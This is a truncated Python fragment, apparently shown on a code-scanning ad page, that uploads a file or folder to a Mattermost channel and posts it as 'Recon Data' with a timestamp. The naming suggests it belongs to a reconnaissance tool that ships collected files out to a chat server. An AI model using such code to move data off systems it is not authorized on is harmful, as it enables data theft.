Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
self.filepath), open(
join_abs(
self.filepath), 'rb'))})['file_infos'][0]['id']]
self.inst.posts.create_post(options={
'channel_id': channel_id,
'message': f"Recon Data {datetime.datetime.now()}",
'file_ids': file_ids
})
elif isdir(self.filepath):
file_location = abspath(self.filepath)
self._upload_files(file_location, channel_id)
except exceptions.ContentTooLarge as er:
print(f"[!] ContentTooLarge {er}")
logger.exception()
except exceptions.ResourceNotFound as er:
print(f"[!] ResourceNotFound {er}")
logger.exception()
except OSError as er:
print(f"[!] File not found {er}")
logger.exception()